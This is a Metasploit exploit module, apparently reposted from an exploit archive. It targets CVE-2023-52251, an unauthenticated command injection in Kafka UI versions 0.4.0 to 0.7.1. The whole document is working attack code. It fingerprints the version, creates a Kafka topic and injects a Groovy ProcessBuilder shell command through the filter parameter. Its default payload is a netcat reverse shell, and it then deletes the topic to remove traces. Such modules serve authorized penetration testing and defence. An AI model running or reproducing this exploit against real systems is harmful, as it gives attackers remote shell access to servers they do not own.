Kafka UI 0.7.1 Command Injection

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Kafka UI Unauthenticated Remote Command Execution via the Groovy Filter option.',        'Description' => %q{          A command injection vulnerability exists in Kafka ui between `v0.4.0` and `v0.7.1` allowing          an attacker to inject and execute arbitrary shell commands via the `groovy` filter parameter          at the `topic` section.        },        'License' => MSF_LICENSE,        'Author' => [          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor          'BobTheShopLifter and Thingstad', # Discovery of the vulnerability CVE-2023-52251        ],        'References' => [          ['CVE', '2023-52251'],          ['URL', 'https://attackerkb.com/topics/ATJ1hTVB8H/cve-2023-52251'],          ['URL', 'https://github.com/BobTheShoplifter/CVE-2023-52251-POC']        ],        'DisclosureDate' => '2023-09-27',        'Platform' => ['unix', 'linux'],        'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],        'Privileged' => false,        'Targets' => [          [            'Unix/Linux Command',            {              'Platform' => ['unix', 'linux'],              'Arch' => [ARCH_CMD],              'Type' => :unix_cmd,              'Payload' => {                'Encoder' => 'cmd/base64',                'BadChars' => "\x00"              },              'DefaultOptions' => {                'PAYLOAD' => 'cmd/unix/reverse_netcat'              }            }          ]        ],        'DefaultTarget' => 0,        'DefaultOptions' => {          'RPORT' => 8080,          'SSL' => false        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]        }      )    )  end  def vuln_version?    @version = ''    res = send_request_cgi({      'method' => 'GET',      'ctype' => 'application/json',      'uri' => normalize_uri(target_uri.path, 'actuator', 'info')    })    if res && res.code == 200 && (res.body.include?('build') || res.body.include?('git'))      res_json = res.get_json_document      unless res_json.blank?        if res.body.include?('build')          @version = res_json['build']['version'].delete_prefix('v') # remove v from vx.x.x        elsif res.body.include?('git')          # use case where only the git commit id gets returned without the version information          # determine version using the git commit id to match the first 7 chars of the sha commit stored in data/kafka_ui_versions.json file.          git_commit_id = res_json['git']['commit']['id']          kafka_ui_versions_json = JSON.parse(File.read(::File.join(Msf::Config.data_directory, 'kafka_ui_versions.json'), mode: 'rb'))          unless kafka_ui_versions_json.blank?            # loop thru the list of commits and return the version based a match on the first 7 chars of the sha commit else return nil            kafka_ui_versions_json.each do |tag|              if tag['commit']['sha'][0, 7] == git_commit_id                @version = tag['name'].delete_prefix('v')                break              end            end          end        end      end      return Rex::Version.new(@version) <= Rex::Version.new('0.7.1') && Rex::Version.new(@version) >= Rex::Version.new('0.4.0') if @version.match(/\d\.\d\.\d/)    end    false  end  def get_cluster    res = send_request_cgi({      'method' => 'GET',      'ctype' => 'application/json',      'uri' => normalize_uri(target_uri.path, 'api', 'clusters')    })    if res && res.code == 200 && res.body.include?('status')      res_json = res.get_json_document      unless res_json.blank?        # loop thru list of clusters and return an active cluster with topic count > 0 else return nil        res_json.each do |cluster|          if cluster['status'] == 'online' || cluster['topicCount'] > 0            return cluster['name']          end        end      end    end    nil  end  def create_topic(cluster)    topic_name = Rex::Text.rand_text_alphanumeric(4..10)    post_data = {      name: topic_name.to_s,      partitions: 1,      replicationFactor: 1,      configs:        {          'cleanup.policy': 'delete',          'retention.bytes': '-1'        }    }.to_json    res = send_request_cgi({      'method' => 'POST',      'ctype' => 'application/json',      'uri' => normalize_uri(target_uri.path, 'api', 'clusters', cluster.to_s, 'topics'),      'data' => post_data.to_s    })    if res && res.code == 200 && res.body.include?(topic_name.to_s)      res_json = res.get_json_document      unless res_json.blank?        return res_json['name']      end    end    nil  end  def delete_topic(cluster, topic)    res = send_request_cgi({      'method' => 'DELETE',      'ctype' => 'application/json',      'uri' => normalize_uri(target_uri.path, 'api', 'clusters', cluster.to_s, 'topics', topic.to_s)    })    return true if res && res.code == 200    false  end  def produce_message(cluster, topic)    # Create a dummy message to trigger the groovy script execution    post_data = {      partition: 0,      key: 'null',      content: 'null',      keySerde: 'String',      valueSerde: 'String'    }.to_json    res = send_request_cgi({      'method' => 'POST',      'ctype' => 'application/json',      'uri' => normalize_uri(target_uri.path, 'api', 'clusters', cluster.to_s, 'topics', topic.to_s, 'messages'),      'data' => post_data.to_s    })    return true if res && res.code == 200    false  end  def execute_command(cmd, _opts = {})    payload = "Process p=new ProcessBuilder(\"sh\",\"-c\",\"#{cmd}\").redirectErrorStream(true).start()"    return send_request_cgi({      'method' => 'GET',      'ctype' => 'application/x-www-form-urlencoded',      'uri' => normalize_uri(target_uri.path, 'api', 'clusters', @cluster.to_s, 'topics', @new_topic.to_s, 'messages'),      'vars_get' => {        'q' => payload.to_s,        'filterQueryType' => 'GROOVY_SCRIPT',        'attempt' => 2,        'limit' => 100,        'page' => 0,        'seekDirection' => 'FORWARD',        'keySerde' => 'String',        'valueSerde' => 'String',        'seekType' => 'BEGINNING'      }    })  end  def check    vprint_status("Checking if #{peer} can be exploited.")    return CheckCode::Appears("Kafka-ui version: #{@version}") if vuln_version?    unless @version.blank?      if @version.match(/\d\.\d\.\d/)        return CheckCode::Safe("Kafka-ui version: #{@version}")      else        return CheckCode::Detected("Kafka-ui unknown version: #{@version}")      end    end    CheckCode::Safe  end  def exploit    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")    vprint_status('Searching for active Kafka cluster...')    @cluster = get_cluster    fail_with(Failure::NotFound, 'Could not find or connect to an active Kafka cluster.') if @cluster.nil?    vprint_good("Active Kafka cluster found: #{@cluster}")    vprint_status('Creating a new topic...')    @new_topic = create_topic(@cluster)    fail_with(Failure::Unknown, 'Could not create a new topic.') if @new_topic.nil?    vprint_good("New topic created: #{@new_topic}")    vprint_status('Trigger Groovy script payload execution by creating a message...')    fail_with(Failure::PayloadFailed, 'Could not trigger the Groovy script payload execution.') unless produce_message(@cluster, @new_topic)    case target['Type']    when :unix_cmd      execute_command(payload.encoded)    end    # cleaning up the mess and remove new created topic    vprint_status('Removing tracks...')    if delete_topic(@cluster, @new_topic)      vprint_good("Successfully deleted topic #{@new_topic}.")    else      print_error("Could not delete topic #{@new_topic}. Manually cleaning required.")    end  endend